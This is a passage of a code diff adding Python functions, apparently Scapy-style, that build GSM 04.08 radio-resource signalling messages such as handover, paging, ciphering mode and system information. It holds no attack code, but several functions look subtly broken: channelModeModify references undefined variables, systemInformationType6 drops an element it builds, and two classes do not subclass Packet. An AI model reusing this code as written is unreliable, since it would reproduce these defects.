+    if ChannelDescription_presence is 1:
+        p = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0)
+        packet = packet / p
+    if ChannelMode2_presence is 1:
+        q = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0)
+        packet = packet / q
+    if MobileAllocation_presence is 1:
+        r = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0)
+        packet = packet / r
+    if StartingTime_presence is 1:
+        s = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / s
+    if FrequencyList_presence1 is 1:
+        t = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0)
+        packet = packet / t
+    if ChannelDescription2_presence is 1:
+        u = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0)
+        packet = packet / u
+    if ChannelDescription_presence is 1:
+        v = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0)
+        packet = packet / v
+    if FrequencyChannelSequence_presence is 1:
+        w = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0)
+        packet = packet / w
+    if MobileAllocation_presence1 is 1:
+        x = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0)
+        packet = packet / x
+    if CipherModeSetting_presence is 1:
+        y = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0)
+        packet = packet / y
+    if VgcsTargetModeIdentication_presence is 1:
+        z = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0)
+        packet = packet / z
+    if MultiRateConfiguration_presence is 1:
+        aa = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0)
+        packet = packet / aa
+    return packet
+
+
+# MS to Network
+def assignmentComplete():
+    """ASSIGNMENT COMPLETE Section 9.1.3"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x29)  # 00101001
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+# MS to Network
+def assignmentFailure():
+    """ASSIGNMENT FAILURE Section 9.1.4"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2F)  # 00101111
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def channelModeModify(VgcsTargetModeIdentication_presence=0,
+                      MultiRateConfiguration_presence=0):
+    """CHANNEL MODE MODIFY Section 9.1.5"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x8)  # 0001000
+    c = ChannelDescription2()
+    d = ChannelMode()
+    packet = a / b / c / d
+    if VgcsTargetModeIdentication is 1:
+        e = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0)
+        packet = packet / e
+    if MultiRateConfiguration is 1:
+        f = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0)
+        packet = packet / f
+    return packet
+
+
+def channelModeModifyAcknowledge():
+    """CHANNEL MODE MODIFY ACKNOWLEDGE Section 9.1.6"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x17)  # 00010111
+    c = ChannelDescription2()
+    d = ChannelMode()
+    packet = a / b / c / d
+    return packet
+
+
+# Network to MS
+def channelRelease(BaRange_presence=0, GroupChannelDescription_presence=0,
+                   GroupCipherKeyNumber_presence=0, GprsResumption_presence=0,
+                   BaListPref_presence=0):
+    """CHANNEL RELEASE  Section 9.1.7"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0xD)  # 00001101
+    c = RrCause()
+    packet = a / b / c
+    if BaRange_presence is 1:
+        d = BaRangeHdr(ieiBR=0x73, eightBitBR=0x0)
+        packet = packet / d
+    if GroupChannelDescription_presence is 1:
+        e = GroupChannelDescriptionHdr(ieiGCD=0x74, eightBitGCD=0x0)
+        packet = packet / e
+    if GroupCipherKeyNumber_presence is 1:
+        f = GroupCipherKeyNumber(ieiGCKN=0x8)
+        packet = packet / f
+    if GprsResumption_presence is 1:
+        g = GprsResumptionHdr(ieiGR=0xC, eightBitGR=0x0)
+        packet = packet / g
+    if BaListPref_presence is 1:
+        h = BaListPrefHdr(ieiBLP=0x75, eightBitBLP=0x0)
+        packet = packet / h
+    return packet
+
+
+class ChannelRequest(Packet):
+    """Channel request Section 9.1.8"""
+    name = "Channel Request"
+    fields_desc = [
+             ByteField("estCause", 0x0)
+             ]
+
+
+def channelRequest():
+    return ChannelRequest()
+
+
+# Network to MS
+def cipheringModeCommand():
+    """CIPHERING MODE COMMAND  Section 9.1.9"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x35)  # 00110101
+    c = RrCause()
+ #d=cipherModeSetting()
+ #e=cipherResponse()
+ # FIX
+    d = CipherModeSettingAndcipherResponse()
+    packet = a / b / c / d
+    return packet
+
+
+def cipheringModeComplete(MobileId_presence=0):
+    """CIPHERING MODE COMPLETE Section 9.1.10"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x32)  # 00110010
+    packet = a / b
+    if MobileId_presence is 1:
+        c = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0)
+        packet = packet / c
+    return packet
+
+
+# Network to MS
+def classmarkChange(MobileStationClassmark3_presence=0):
+    """CLASSMARK CHANGE Section 9.1.11"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x16)  # 00010110
+    c = MobileStationClassmark2()
+    packet = a / b / c
+    if MobileStationClassmark3_presence is 1:
+        e = MobileStationClassmark3(ieiMSC3=0x20)
+        packet = packet / e
+    return packet
+
+
+# Network to MS
+def classmarkEnquiry():
+    """CLASSMARK ENQUIRY Section 9.1.12"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x13)  # 00010011
+    packet = a / b
+    return packet
+# 9.1.12a Spare
+
+
+# Network to MS
+def configurationChangeCommand(ChannelMode_presence=0,
+                               ChannelMode_presence1=0,
+                               ChannelMode_presence2=0,
+                               ChannelMode_presence3=0,
+                               ChannelMode_presence4=0,
+                               ChannelMode_presence5=0,
+                               ChannelMode_presence6=0,
+                               ChannelMode_presence7=0):
+    """CONFIGURATION CHANGE COMMAND Section 9.1.12b"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x30)  # 00110000
+    c = MultislotAllocation()
+    packet = a / b / c
+    if ChannelMode_presence is 1:
+        d = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0)
+        packet = packet / d
+    if ChannelMode_presence1 is 1:
+        e = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0)
+        packet = packet / e
+    if ChannelMode_presence2 is 1:
+        f = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0)
+        packet = packet / f
+    if ChannelMode_presence3 is 1:
+        g = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0)
+        packet = packet / g
+    if ChannelMode_presence4 is 1:
+        h = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0)
+        packet = packet / h
+    if ChannelMode_presence5 is 1:
+        i = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0)
+        packet = packet / i
+    if ChannelMode_presence6 is 1:
+        j = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0)
+        packet = packet / j
+    if ChannelMode_presence7 is 1:
+        k = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0)
+        packet = packet / k
+    return packet
+
+
+def configurationChangeAcknowledge():
+    """CONFIGURATION CHANGE ACKNOWLEDGE Section 9.1.12c"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x31)  # 00110001
+    c = MobileId()
+    packet = a / b / c
+    return packet
+
+
+def configurationChangeReject():
+    """CONFIGURATION CHANGE REJECT Section 9.1.12d"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x33)  # 00110011
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def frequencyRedefinition(CellChannelDescription_presence=0):
+    """Frequency redefinition Section 9.1.13"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x14)  # 00010100
+    c = ChannelDescription()
+    d = MobileAllocation()
+    e = StartingTime()
+    packet = a / b / c / d / e
+    if CellChannelDescription_presence is 1:
+        f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0)
+        packet = packet / f
+    return packet
+
+
+# Network to MS
+def pdchAssignmentCommand(ChannelDescription_presence=0,
+                          CellChannelDescription_presence=0,
+                          MobileAllocation_presence=0,
+                          StartingTime_presence=0, FrequencyList_presence=0,
+                          ChannelDescription_presence1=0,
+                          FrequencyChannelSequence_presence=0,
+                          MobileAllocation_presence1=0,
+                          PacketChannelDescription_presence=0,
+                          DedicatedModeOrTBF_presence=0):
+    """PDCH ASSIGNMENT COMMAND Section 9.1.13a"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x23)  # 00100011
+    c = ChannelDescription()
+    packet = a / b / c
+    if ChannelDescription_presence is 1:
+        d = ChannelDescriptionHdr(ieiCD=0x62, eightBitCD=0x0)
+        packet = packet / d
+    if CellChannelDescription_presence is 1:
+        e = CellChannelDescriptionHdr(ieiCCD=0x05, eightBitCCD=0x0)
+        packet = packet / e
+    if MobileAllocation_presence is 1:
+        f = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0)
+        packet = packet / f
+    if StartingTime_presence is 1:
+        g = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / g
+    if FrequencyList_presence is 1:
+        h = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0)
+        packet = packet / h
+    if ChannelDescription_presence1 is 1:
+        i = ChannelDescriptionHdr(ieiCD=0x1C, eightBitCD=0x0)
+        packet = packet / i
+    if FrequencyChannelSequence_presence is 1:
+        j = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0)
+        packet = packet / j
+    if MobileAllocation_presence1 is 1:
+        k = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0)
+        packet = packet / k
+    if PacketChannelDescription_presence is 1:
+        l = PacketChannelDescription(ieiPCD=0x22)
+        packet = packet / l
+    if DedicatedModeOrTBF_presence is 1:
+        m = DedicatedModeOrTBFHdr(ieiDMOT=0x23, eightBitDMOT=0x0)
+        packet = packet / m
+    return packet
+
+
+def gprsSuspensionRequest():
+    """GPRS SUSPENSION REQUEST Section 9.1.13b"""
+    a = TpPd(pd=0x6)
+    b = MessageType()
+    c = Tlli()
+    d = RoutingAreaIdentification()
+    e = SuspensionCause()
+    packet = a / b / c / d / e
+    return packet
+
+
+class HandoverAccess(Packet):
+    name = "Handover Access"  # Section 9.1.14"
+    fields_desc = [
+             ByteField("handover", None),
+             ]
+
+
+# Network to MS
+def handoverCommand(SynchronizationIndication_presence=0,
+                    FrequencyShortList_presence=0, FrequencyList_presence=0,
+                    CellChannelDescription_presence=0,
+                    MultislotAllocation_presence=0,
+                    ChannelMode_presence=0, ChannelMode_presence1=0,
+                    ChannelMode_presence2=0,
+                    ChannelMode_presence3=0, ChannelMode_presence4=0,
+                    ChannelMode_presence5=0,
+                    ChannelMode_presence6=0, ChannelMode_presence7=0,
+                    ChannelDescription_presence1=0, ChannelMode2_presence=0,
+                    FrequencyChannelSequence_presence=0,
+                    MobileAllocation_presence=0,
+                    StartingTime_presence=0, TimeDifference_presence=0,
+                    TimingAdvance_presence=0,
+                    FrequencyShortList_presence1=0,
+                    FrequencyList_presence1=0,
+                    ChannelDescription2_presence=0,
+                    ChannelDescription_presence2=0,
+                    FrequencyChannelSequence_presence1=0,
+                    MobileAllocation_presence1=0,
+                    CipherModeSetting_presence=0,
+                    VgcsTargetModeIdentication_presence=0,
+                    MultiRateConfiguration_presence=0):
+    """HANDOVER COMMAND Section 9.1.15"""
+    name = "Handover Command"
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2b)  # 00101011
+    c = CellDescription()
+    d = ChannelDescription2()
+    e = HandoverReference()
+    f = PowerCommandAndAccessType()
+    packet = a / b / c / d / e / f
+    if SynchronizationIndication_presence is 1:
+        g = SynchronizationIndicationHdr(ieiSI=0xD, eightBitSI=0x0)
+        packet = packet / g
+    if FrequencyShortList_presence is 1:
+        h = FrequencyShortListHdr(ieiFSL=0x02)
+        packet = packet / h
+    if FrequencyList_presence is 1:
+        i = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0)
+        packet = packet / i
+    if CellChannelDescription_presence is 1:
+        j = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0)
+        packet = packet / j
+    if MultislotAllocation_presence is 1:
+        k = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0)
+        packet = packet / k
+    if ChannelMode_presence is 1:
+        l = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0)
+        packet = packet / l
+    if ChannelMode_presence1 is 1:
+        m = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0)
+        packet = packet / m
+    if ChannelMode_presence2 is 1:
+        n = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0)
+        packet = packet / n
+    if ChannelMode_presence3 is 1:
+        o = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0)
+        packet = packet / o
+    if ChannelMode_presence4 is 1:
+        p = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0)
+        packet = packet / p
+    if ChannelMode_presence5 is 1:
+        q = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0)
+        packet = packet / q
+    if ChannelMode_presence6 is 1:
+        r = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0)
+        packet = packet / r
+    if ChannelMode_presence7 is 1:
+        s = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0)
+        packet = packet / s
+    if ChannelDescription_presence1 is 1:
+        s1 = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0)
+        packet = packet / s1
+    if ChannelMode2_presence is 1:
+        t = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0)
+        packet = packet / t
+    if FrequencyChannelSequence_presence is 1:
+        u = FrequencyChannelSequenceHdr(ieiFCS=0x69, eightBitFCS=0x0)
+        packet = packet / u
+    if MobileAllocation_presence is 1:
+        v = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0)
+        packet = packet / v
+    if StartingTime_presence is 1:
+        w = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / w
+    if TimeDifference_presence is 1:
+        x = TimeDifferenceHdr(ieiTD=0x7B, eightBitTD=0x0)
+        packet = packet / x
+    if TimingAdvance_presence is 1:
+        y = TimingAdvanceHdr(ieiTA=0x7D, eightBitTA=0x0)
+        packet = packet / y
+    if FrequencyShortList_presence1 is 1:
+        z = FrequencyShortListHdr(ieiFSL=0x12)
+        packet = packet / z
+    if FrequencyList_presence1 is 1:
+        aa = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0)
+        packet = packet / aa
+    if ChannelDescription2_presence is 1:
+        ab = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0)
+        packet = packet / ab
+    if ChannelDescription_presence2 is 1:
+        ac = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0)
+        packet = packet / ac
+    if FrequencyChannelSequence_presence1 is 1:
+        ad = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0)
+        packet = packet / ad
+    if MobileAllocation_presence1 is 1:
+        ae = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0)
+        packet = packet / ae
+    if CipherModeSetting_presence is 1:
+        af = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0)
+        packet = packet / af
+    if VgcsTargetModeIdentication_presence is 1:
+        ag = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0)
+        packet = packet / ag
+    if MultiRateConfiguration_presence is 1:
+        ah = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0)
+        packet = packet / ah
+    return packet
+
+
+def handoverComplete(MobileTimeDifference_presence=0):
+    """HANDOVER COMPLETE Section 9.1.16"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2c)  # 00101100
+    c = RrCause()
+    packet = a / b / c
+    if MobileTimeDifference_presence is 1:
+        d = MobileTimeDifferenceHdr(ieiMTD=0x77, eightBitMTD=0x0)
+        packet = packet / d
+    return packet
+
+
+def handoverFailure():
+    """HANDOVER FAILURE Section 9.1.17"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x28)  # 00101000
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+#The L2 pseudo length of this message is the sum of lengths of all
+#information elements present in the message except
+#the IA Rest Octets and L2 Pseudo Length information elements.
+# Network to MS
+def immediateAssignment(ChannelDescription_presence=0,
+                        PacketChannelDescription_presence=0,
+                        StartingTime_presence=0):
+    """IMMEDIATE ASSIGNMENT Section 9.1.18"""
+    a = L2PseudoLength()
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x3F)  # 00111111
+    d = PageModeAndDedicatedModeOrTBF()
+    packet = a / b / c / d
+    if ChannelDescription_presence is 1:
+        f = ChannelDescription()
+        packet = packet / f
+    if PacketChannelDescription_presence is 1:
+        g = PacketChannelDescription()
+        packet = packet / g
+    h = RequestReference()
+    i = TimingAdvance()
+    j = MobileAllocation()
+    packet = packet / h / i / j
+    if StartingTime_presence is 1:
+        k = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / k
+    l = IaRestOctets()
+    packet = packet / l
+    return packet
+
+
+#The L2 pseudo length of this message is the sum of lengths of all
+#information elements present in the message except
+#the IAX Rest Octets and L2 Pseudo Length information elements.
+
+# Network to MS
+def immediateAssignmentExtended(StartingTime_presence=0):
+    """IMMEDIATE ASSIGNMENT EXTENDED Section 9.1.19"""
+    a = L2PseudoLength()
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x39)  # 00111001
+    d = PageModeAndSpareHalfOctets()
+    f = ChannelDescription()
+    g = RequestReference()
+    h = TimingAdvance()
+    i = MobileAllocation()
+    packet = a / b / c / d / f / g / h / i
+    if StartingTime_presence is 1:
+        j = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / j
+    k = IaxRestOctets()
+    packet = packet / k
+    return packet
+
+
+# This message has L2 pseudo length 19
+# Network to MS
+def immediateAssignmentReject():
+    """IMMEDIATE ASSIGNMENT REJECT Section 9.1.20"""
+    a = L2PseudoLength(l2pLength=0x13)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x3a)  # 00111010
+    d = PageModeAndSpareHalfOctets()
+    f = RequestReference()
+    g = WaitIndication()
+    h = RequestReference()
+    i = WaitIndication()
+    j = RequestReference()
+    k = WaitIndication()
+    l = RequestReference()
+    m = WaitIndication()
+    n = IraRestOctets()
+    packet = a / b / c / d / f / g / h / i / j / k / l / m / n
+    return packet
+
+
+def measurementReport():
+    """MEASUREMENT REPORT Section 9.1.21"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x15)  # 00010101
+    c = MeasurementResults()
+    packet = a / b / c
+    return packet
+
+
+# len max 20
+class NotificationFacch():
+    """NOTIFICATION/FACCH Section 9.1.21a"""
+    name = "Notification/facch"
+    fields_desc = [
+             BitField("rr", 0x0, 1),
+             BitField("msgTyoe", 0x0, 5),
+             BitField("layer2Header", 0x0, 2),
+             BitField("frChanDes", 0x0, 24)
+             ]
+
+
+# The L2 pseudo length of this message has a value one
+# Network to MS
+def notificationNch():
+    """NOTIFICATION/NCH Section 9.1.21b"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x20)  # 00100000
+    d = NtNRestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+def notificationResponse():
+    """NOTIFICATION RESPONSE Section 9.1.21d"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x26)  # 00100110
+    c = MobileStationClassmark2()
+    d = MobileId()
+    e = DescriptiveGroupOrBroadcastCallReference()
+    packet = a / b / c / d / e
+    return packet
+
+
+# Network to MS
+def rrCellChangeOrder():
+    """RR-CELL CHANGE ORDER  Section  9.1.21e"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x8)  # 00001000
+    c = CellDescription()
+    d = NcModeAndSpareHalfOctets()
+    packet = a / b / c / d
+    return packet
+
+
+# Network to MS
+def pagingRequestType1(MobileId_presence=0):
+    """PAGING REQUEST TYPE 1 Section 9.1.22"""
+ #The L2 pseudo length of this message is the sum of lengths of all
+ #information elements present in the message except
+ #the P1 Rest Octets and L2 Pseudo Length information elements.
+    a = L2PseudoLength()
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x21)  # 00100001
+    d = PageModeAndChannelNeeded()
+    f = MobileId()
+    packet = a / b / c / d / f
+    if MobileId_presence is 1:
+        g = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0)
+        packet = packet / g
+    h = P1RestOctets()
+    packet = packet / h
+    return packet
+
+
+# The L2 pseudo length of this message is the sum of lengths of all
+# information elements present in the message except
+# Network to MS
+def pagingRequestType2(MobileId_presence=0):
+    """PAGING REQUEST TYPE 2  Section 9.1.23"""
+    a = L2PseudoLength()
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x22)  # 00100010
+    d = PageModeAndChannelNeeded()
+    f = MobileId()
+    g = MobileId()
+    packet = a / b / c / d / f / g
+    if MobileId_presence is 1:
+        h = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0)
+        packet = packet / h
+    i = P2RestOctets()
+    packet = packet / i
+    return packet
+
+
+# Network to MS
+def pagingRequestType3():
+    """PAGING REQUEST TYPE 3 Section 9.1.24"""
+# This message has a L2 Pseudo Length of 19
+    a = L2PseudoLength(l2pLength=0x13)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x24)  # 00100100
+    d = PageModeAndChannelNeeded()
+    e = TmsiPTmsi()
+    f = TmsiPTmsi()
+    g = TmsiPTmsi()
+    h = TmsiPTmsi()
+    i = P3RestOctets()
+    packet = a / b / c / d / e / f / g / h / i
+    return packet
+
+
+def pagingResponse():
+    """PAGING RESPONSE Section 9.1.25"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x27)  # 00100111
+    c = CiphKeySeqNrAndSpareHalfOctets()
+    d = MobileStationClassmark2()
+    e = MobileId()
+    packet = a / b / c / d / e
+    return packet
+
+
+# Network to MS
+def partialRelease():
+    """PARTIAL RELEASE Section 9.1.26"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0xa)  # 00001010
+    c = ChannelDescription()
+    packet = a / b / c
+    return packet
+
+
+def partialReleaseComplete():
+    """PARTIAL RELEASE COMPLETE Section 9.1.27"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0xf)  # 00001111
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def physicalInformation():
+    """PHYSICAL INFORMATION Section 9.1.28"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2d)  # 00101101
+    c = TimingAdvance()
+    packet = a / b / c
+    return packet
+
+
+def rrInitialisationRequest():
+    """RR Initialisation Request Section 9.1.28.a"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x3c)  # 00111100
+    c = CiphKeySeqNrAndMacModeAndChannelCodingRequest()
+    e = MobileStationClassmark2()
+    f = Tlli()
+    g = ChannelRequestDescription()
+    h = GprsMeasurementResults()
+    packet = a / b / c / e / f / g / h
+    return packet
+
+
+def rrStatus():
+    """RR STATUS Section 9.1.29"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x12)  # 00010010
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+# It does not
+# follow the basic format. Its length is _25_ bits. The
+# order of bit transmission is defined in GSM 04.04.
+# Network to MS
+class SynchronizationChannelInformation():
+    """SYNCHRONIZATION CHANNEL INFORMATION Section 9.1.30"""
+    name = "Synchronization Channel Information"
+    fields_desc = [
+             BitField("bsic", 0x0, 5),
+             BitField("t1Hi", 0x0, 3),
+             ByteField("t1Mi", 0x0),
+             BitField("t1Lo", 0x0, 1),
+             BitField("t2", 0x0, 5),
+             BitField("t3Hi", 0x0, 2),
+             BitField("t3Lo", 0x0, 1)
+             ]
+
+
+# This message has a L2 Pseudo Length of 21.
+# Network to MS
+def systemInformationType1():
+    """SYSTEM INFORMATION TYPE 1 Section 9.1.31"""
+    a = L2PseudoLength(l2pLength=0x15)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x19)  # 00011001
+    d = CellChannelDescription()
+    e = RachControlParameters()
+    f = Si1RestOctets()
+    packet = a / b / c / d / e / f
+    return packet
+
+
+# This message has a L2 Pseudo Length of 22.
+# Network to MS
+def systemInformationType2():
+    """SYSTEM INFORMATION TYPE 2 Section 9.1.32"""
+    a = L2PseudoLength(l2pLength=0x16)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x1a)  # 00011010
+    d = NeighbourCellsDescription()
+    e = NccPermitted()
+    f = RachControlParameters()
+    packet = a / b / c / d / e / f
+    return packet
+
+
+# This message has a L2 pseudo length of 21
+# Network to MS
+def systemInformationType2bis():
+    """SYSTEM INFORMATION TYPE 2bis Section 9.1.33"""
+    a = L2PseudoLength(l2pLength=0x15)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x2)  # 00000010
+    d = NeighbourCellsDescription()
+    e = RachControlParameters()
+    f = Si2bisRestOctets()
+    packet = a / b / c / d / e / f
+    return packet
+
+
+# This message has a L2 pseudo length of 18
+# Network to MS
+def systemInformationType2ter():
+    """SYSTEM INFORMATION TYPE 2ter Section 9.1.34"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x3)  # 00000011
+    d = NeighbourCellsDescription2()
+    e = Si2terRestOctets()
+    packet = a / b / c / d / e
+    return packet
+
+
+# This message has a L2 Pseudo Length of 18
+# Network to MS
+def systemInformationType3():
+    """SYSTEM INFORMATION TYPE 3 Section 9.1.35"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x1b)  # 00011011
+    d = CellIdentity()
+    e = LocalAreaId()
+    f = ControlChannelDescription()
+    g = CellOptionsBCCH()
+    h = CellSelectionParameters()
+    i = RachControlParameters()
+    j = Si3RestOctets()
+    packet = a / b / c / d / e / f / g / h / i / j
+    return packet
+
+
+#The L2 pseudo length of this message is the
+#sum of lengths of all information elements present in the message except
+#the SI 4 Rest Octets and L2 Pseudo Length
+# Network to MS
+def systemInformationType4(ChannelDescription_presence=0,
+                           MobileAllocation_presence=0):
+    """SYSTEM INFORMATION TYPE 4 Section 9.1.36"""
+    a = L2PseudoLength()
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x1C)  # 000111100
+    d = LocalAreaId()
+    e = CellSelectionParameters()
+    f = RachControlParameters()
+    packet = a / b / c / d / e / f
+    if ChannelDescription_presence is 1:
+        g = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0)
+        packet = packet / g
+    if MobileAllocation_presence is 1:
+        h = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0)
+        packet = packet / h
+    i = Si4RestOctets()
+    packet = packet / i
+    return packet
+
+
+#This message has a L2 Pseudo Length of 18
+# Network to MS
+def systemInformationType5():
+    """SYSTEM INFORMATION TYPE 5 Section 9.1.37"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x35)  # 000110101
+    d = NeighbourCellsDescription()
+    packet = a / b / c / d
+    return packet
+
+
+#This message has a L2 Pseudo Length of 18
+# Network to MS
+def systemInformationType5bis():
+    """SYSTEM INFORMATION TYPE 5bis Section 9.1.38"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x5)  # 00000101
+    d = NeighbourCellsDescription()
+    packet = a / b / c / d
+    return packet
+
+
+# This message has a L2 Pseudo Length of 18
+# Network to MS
+def systemInformationType5ter():
+    """SYSTEM INFORMATION TYPE 5ter Section 9.1.39"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x6)  # 00000110
+    d = NeighbourCellsDescription2()
+    packet = a / b / c / d
+    return packet
+
+
+#This message has a L2 Pseudo Length of 11
+# Network to MS
+def systemInformationType6():
+    """SYSTEM INFORMATION TYPE 6 Section 9.1.40"""
+    a = L2PseudoLength(l2pLength=0x0b)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x1e)  # 00011011
+    d = CellIdentity()
+    e = LocalAreaId()
+    f = CellOptionsBCCH()
+    g = NccPermitted()
+    h = Si6RestOctets()
+    packet = a / b / c / d / e / f / g
+    return packet
+
+
+# The L2 pseudo length of this message has the value 1
+# Network to MS
+def systemInformationType7():
+    """SYSTEM INFORMATION TYPE 7 Section 9.1.41"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x37)  # 000110111
+    d = Si7RestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+# The L2 pseudo length of this message has the value 1
+# Network to MS
+def systemInformationType8():
+    """SYSTEM INFORMATION TYPE 8 Section 9.1.42"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x18)  # 00011000
+    d = Si8RestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+# The L2 pseudo length of this message has the value 1
+# Network to MS
+def systemInformationType9():
+    """SYSTEM INFORMATION TYPE 9 Section 9.1.43"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x4)  # 00000100
+    d = Si9RestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+# The L2 pseudo length of this message has the value 0
+# Network to MS
+def systemInformationType13():
+    """SYSTEM INFORMATION TYPE 13 Section 9.1.43a"""
